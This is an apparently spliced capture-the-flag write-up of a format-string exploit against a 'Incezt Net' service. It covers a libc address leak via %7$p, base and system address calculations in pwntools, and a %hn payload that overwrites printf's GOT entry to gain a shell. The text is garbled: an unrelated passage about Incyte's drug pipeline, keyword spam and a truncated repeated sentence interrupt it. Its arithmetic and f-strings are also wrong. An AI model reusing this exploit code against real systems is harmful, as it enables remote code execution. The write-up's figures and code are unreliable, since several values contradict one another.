Incezt Net May 2026

We compare the leaked address with known libc offsets (using libc-database or pwntools):

from pwn import *
leak = 0x7ffff7a5d690
# Offsets for libc6_2.31-0ubuntu9.9_amd64 (the version on the host)
puts_offset = 0x0809c0
libc_base = leak - puts_offset
log.info("libc base = %#x", libc_base)

The calculation yields a base address of 0x7ffff7a03000.

Now we can compute the address of system and the string "/bin/sh": incezt net

system_offset = 0x04f440
binsh_offset  = 0x1b3e9a
system_addr   = libc_base + system_offset   # 0x7ffff7a52440
binsh_addr    = libc_base + binsh_offset    # 0x7ffff7b5be9a

We have all we need to get a remote shell.


Incyte's portfolio includes:

The company has a robust pipeline of drugs in various stages of development for several indications, including oncology, inflammation, and dermatology.

The program is dynamically linked, so we can leak a libc address from the GOT. The GOT entry for puts is a good target because it’s already resolved. We compare the leaked address with known libc

$ (printf "echo %7$p\n"; cat) | nc challenge.ctf.com 31137
Welcome to Incezt Net!
> %7$p
Result: 0x7ffff7a5d690

The output is a raw pointer printed by the %p format specifier. The exact position (%7$p) was discovered by trial and error (printing %1$p, %2$p, …) until we landed on a pointer that belongs to the libc region (0x7ffff7…).

Result: Leaked address 0x7ffff7a5d690.

from pwn import *
# Target addresses
got_printf = 0x601040
system = 0x7ffff7a52440
# Split into two 2‑byte pieces (little endian)
low  = system & 0xffff          # 0x2440
high = (system >> 16) & 0xffff  # 0xa7a5
# Build the payload
payload  = p64(got_printf)          # will be %8$hn
payload += p64(got_printf + 2)      # will be %9$hn
# Calculate the padding needed (mod 0x10000)
# We start counting from the length of the two addresses (16 bytes)
cur = len(payload)
pad_low  = (low  - cur) % 0x10000
pad_high = (high - (cur + pad_low)) % 0x10000
payload += f"%pad_lowc%8$hn".encode()
payload += f"%pad_highc%9$hn".encode()

The final string is something like (hex‑escaped for clarity):

\x40\x10\x60\x00\x00\x00\x00\x00\x42\x10\x60\x00\x00\x00\x00\x00%5828c%8$hn%17728c%9$hn